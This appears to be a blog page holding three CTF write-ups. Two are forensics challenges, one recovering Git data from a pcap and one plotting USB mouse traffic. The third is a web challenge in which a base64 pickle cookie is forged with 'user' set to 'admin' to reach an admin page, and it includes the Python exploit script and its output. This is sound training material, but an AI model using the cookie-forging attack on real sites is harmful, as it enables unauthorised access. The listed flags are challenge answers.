May 10, 2016 - ASIS CTF Quals 2016: firtog

Author: aagallag

Publish Date: 2016-05-10

Category: Forensic Points: 109 Solves: 113 Description:

Obscurity is definitely not security.

Investigate

As with the other challenges in this CTF, I start by renaming the file to *.tar.xz and extract the contents. Once extracted, I find a TCP packet capture file called firtog.pcap. I loaded up the capture file into Wireshark and started by checking for HTTP objects with…

File -> Export Objects -> HTTP...

Unfortunately, there aren’t any HTTP objects found.

After checking for HTTP objects, my next step when working with packet captures is usually to inspect the individual TCP streams.

Right Click Packet -> Follow -> TCP Stream

Wireshark lets you quickly switch between the different streams by increasing the Stream counter at the bottom right of the pop-up window. Scrolling through the first couple TCP streams reveals that this is Git traffic.

Now that we know we’re looking at Git traffic, how do we extract the data? There may be cleaner ways of doing it, but I decide to manually dump the raw bytes from each TCP stream. Wireshark makes this really easy. With the ‘Follow TCP Stream’ window open, select only the direction of traffic you would like to capture. In the case of Git, we’re interested in the server’s traffic. By default, Wireshark encodes the data as ASCII, change this to ‘Raw’ and click the ‘Save as…’ button. I did this for each TCP stream.

Then I ran the following command to extract the data from all TCP streams at once.

$ binwalk -e *

This ended up revealing multiple revisions of the Python script used to generate and encode the flag. Using the commit messages (and a little bit of intuition) I realized that this was the final revision of the script.

#!/usr/bin/python
# Simple but secure flag generator for ASIS CTF

from os import urandom
from hashlib import md5

l = 128
rd = urandom(l)
h = md5(rd).hexdigest()
flag = 'ASIS{' + h + '}'
f = open('flag.txt', 'r').read()
flag = ''
for c in f:
	code = hex(pow(ord(c), 65537, 143))[2:]
	print('%s => %s' % (c,code))
	flag += code
print flag

And additionally, the encoded flag was also checked into the Git repo.

41608a606a63201245f1020d205f1612147463d85d125c1416635c854c74d172010105c14f8555d125c3c

Now my mission is clear! I have to reverse the encoded flag back to the original flag text.

Code

It looks like this is the code we want to crack…

code = hex(pow(ord(c), 65537, 143))[2:]

Since this isn’t a real encryption algorithm, there isn’t any chaining involved. That means that each character of the original message is encoded independently of each other. This makes it very easy to crack!

My approach was to simply pre-calculate the value of all printable ASCII characters and store these in a dictionary. Then to decode a given message, we just lookup the encoded value (key) in the dictionary and it should return the non-encoded value. No different than a decoder ring on the back of a cereal box.

Be sure to drink your ovaltine

So first we must build the decoder ring. Notice, I only chose to pre-calculate values 32-126, as this is the range for printable ASCII characters. If I included too many numbers to pre-calculate, we run the risk of experiencing collisions (2 different plain-text characters could get encoded to the same value).

def build_decoder_ring():
	decoder_ring = {}
	for c in range(32,126):
		code = hex(pow(c, 65537, 143))[2:]
		decoder_ring[code] = chr(c)
	return decoder_ring

My first attempt at decoding the flag had a bug though. The code looked like this…

def crack_encoded_msg(encmsg):
	decoder_ring = build_decoder_ring()

	flag = ''
	i = 0
	while (i < len(encmsg)):
		flag += find_possible_matches(decoder_ring, encmsg[i] + encmsg[i+1])
		i += 2
	return flag

The problem was that not all characters got encoded as 2 hex characters. Some get encoded as just a single hex character. So I tweaked the code to perform a try/catch. If it fails to find a match on 2 characters, it looks for a match on just the first character.

My final solution:

#!/usr/bin/env python


def build_decoder_ring():
	decoder_ring = {}
	for c in range(32,126):
		code = hex(pow(c, 65537, 143))[2:]
		decoder_ring[code] = chr(c)
	return decoder_ring


def find_possible_matches(decoder_ring, two_char):
	return decoder_ring[two_char]


def crack_encoded_msg(encmsg):
	decoder_ring = build_decoder_ring()

	flag = ''
	i = 0
	while (i < len(encmsg)):
		try:
			flag += find_possible_matches(decoder_ring, encmsg[i] + encmsg[i+1])
			i += 2
		except:
			flag += find_possible_matches(decoder_ring, encmsg[i])
			i += 1
	return flag


def main():
	encflag = open('flag.txt', 'rb').read()
	flag = crack_encoded_msg(encflag)
	print(flag)


if __name__ == "__main__":
	main()

Flag

ASIS{c691a0646e79f3c4d495f7c5db3486005fad2495}

May 2, 2016 - Google CTF 2016 : For2

Author: aagallag

Publish Date: 2016-05-02

Category: Forensics Points: 200 Solves: 203 Description:

Find the flag.

Attached: capture.pcapng

Investigate

Upon opening the capture file with Wireshark, it’s immediatly obvious that it contains USB traffic. However, it wasn’t obvious to me what device(s) the traffic is for. I sorted the logs by ‘Protocol’ hoping for a protocol at a layer above USB. Sure enough, there is one USBHID message.

My initial assumption was that this was keyboard traffic. But intuitively, the data didn’t appear to contain keypresses. So after a few moments of looking at the logs, I remembered reading a writeup a few months ago for a CTF in which they were given a capture file containing USB traffic.

Sure enough, I found the writeup! The folks at wiremask have written a great writeup that helped me a tremendous amount in solving this challenge.

Using this filter:

usb.bDescriptorType

I was able to find the USB vendor and product ID:

idVendor: Logitech, Inc. (0x046d)
idProduct: M90/M100 Optical Mouse (0xc05a)

Yup, looks like a mouse to me!! So I continue following right along with the other writeup.

Code

I extracted the mouse data from the pcap-ng file using tshark.

$ tshark -r ./capture.pcapng -T fields -e usb.capdata > mouse_traffic.txt

Next, I wrote some code to read the mouse data from text into memory.

def parse_traffic_file(traffic_file):
  f = open(traffic_file, 'r')
  lines = f.readlines()
  f.close()
  good_lines = lines[97:]

  mouse_data = []

  for lin in good_lines:
    hex_bytes = lin.strip().split(':')
    b_bytes = ''
    for hx in hex_bytes:
      b = hx.decode('hex')
      b_bytes += b

  data = struct.unpack("bbbb", b_bytes)
  mouse_data.append(data)

  return mouse_data

And finally, plot the mouse traffic onto an image.

#cursor movement in red, mouse clicks are black squares
def plot_mouse_traffic(mouse_data):
  picture = Image.new("RGB", (1600, 800), "white")
  pixels = picture.load()

  click_size = 4
  x, y = INIT_X, INIT_Y

  for data_point in mouse_data:
    status = data_point[0]
    x = x + data_point[1]
    y = y + data_point[2]

    if (status == 1):
      for i in range(-1*click_size, click_size):
        for j in range(-1*click_size, click_size):
          pixels[x + i , y + j] = (0, 0, 0, 0)
    else:
      pixels[x, y] = (255, 0, 0, 0)

  print('Saving picture...')
  picture.save("mouse_traffic.png", "PNG")

Output

mouse_traffic.png

After a little bruteforce to get the capitalization right, I finally get the scoreboard to accept the flag.

Flag: CTF{tHE_cAT_iS_the_cULpRiT}

Complete Python script

May 1, 2016 - Google CTF 2016 : Spotted Quoll

Author: aagallag

Publish Date: 2016-05-01

Category: Web Points: 50 Solves: 413 Description:

This blog on Zombie research looks like it might be interesting - can you break into the /admin section?

Investigate

I start by enabling developer toolbar on Google Chrome and start capturing the network traffic.

I notice an ‘Admin’ button at the top of the page. When I click on it, I just get redirected to the homepage and notice my URL bar updates as followed:

https://spotted-quoll.ctfcompetition.com/#err=user_not_found

However, I notice my browser downloaded a cookie at some point.

It looks like the cookie was retrieved from a ‘GET’ request at ‘/getCookie’. This information will be useful when implemeting the script later.

Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu

I have heard of ‘pickle’ before. It’s a format for serializing data, usually over a network. Very similar to JSON. I tried loading the above data directly into pickle. But unfortunately, it threw an exception.

However, the pickle could be simply encoded in another format, perhaps base64….

>>> from base64 import b64decode
>>> b64decode('KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu')
"(dp1\nS'python'\np2\nS'pickles'\np3\nsS'subtle'\np4\nS'hint'\np5\nsS'user'\np6\nNs."

Ok, that looks a lot more like pickle data to me, let’s load it up in Python.

Code

Load the pickle data

#Decode the base64 pickle
pickb64 = cookie['obsoletePickle']
pick = b64decode(pickb64)

#Write the pickle to a tmp file
tmpf = 'tmp.p'
f = open(tmpf, 'wb')
f.write(pick)
f.close()

#load the pickle
obsoletePickle = pickle.load(open('tmp.p', 'rb'))
print('%s' % str(obsoletePickle))

Print the pickle data

{'python': 'pickles', 'subtle': 'hint', 'user': None}

Exploit

From the formatted pickle data, it should be pretty clear what’s going on. The ‘user’ field is set to None. This is because we are not logged in. I think we can trick the webiste! Why don’t we login as the admin by setting our ‘user’ attribute to ‘admin’.

Modify the pickle data so that it reads…

{'python': 'pickles', 'subtle': 'hint', 'user': 'admin'}

Modify pickle data and dump back to raw data

obsoletePickle['user'] = 'admin'

#Write to spoofed pickle to a new file
pickle.dump(obsoletePickle, open('spoofed.p', 'wb'))
spooff = 'spoofed.p'

#Read back as plain data
f = open(spooff, 'rb')
pick = f.read()
f.close()

Create the new cookie (encoded in base64)

spoofed_cookie = dict(obsoletePickle=b64encode(pick))

Perform the attack to login to the admin page ‘admin’

r = requests.get(URL + 'admin', verify=False, cookies=spoofed_cookie)
print(r.text)

Script Output


HTML:
<html>
<head>
  <link href="/static/bootstrap.min.css" rel="stylesheet">
  <link href="/static/jumbotron-narrow.css" rel="stylesheet">
</head>
<body>

    <div class="container">
      <div class="header clearfix">
        <nav>
          <ul class="nav nav-pills pull-right">
            <li role="presentation" class="active"><a href="#">./boringblog</a></li>
            <li role="presentation"><a href="/admin">Admin</a></li>
          </ul>
        </nav>
        <h3 class="text-muted">yawn</h3>
      </div>

      <div class="jumbotron">
        <h1>My Zombie Research Project</h1>
        <p class="lead">./boringblog</p>
      </div>

      <div class="row marketing">
        <div class="col-lg-12">
          <h3>Blog Development - 20th January, 2016</h3>
          <p>I don't have much content yet, except for my admin page. Stay tuned for more information</p>
        </div>
      </div>
      <iframe style="border: 0;" src="/getCookie"></iframe>
    </div> <!-- /container -->

</body>
</html>

Cookies:
<RequestsCookieJar[<Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu for spotted-quoll.ctfcompetition.com/>]>

Real Pickle:
{'python': 'pickles', 'subtle': 'hint', 'user': None}

Spoofed Admin Pickle:
{'python': 'pickles', 'subtle': 'hint', 'user': 'admin'}

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?

Flag

CTF{but_wait,theres_more.if_you_call}

Python script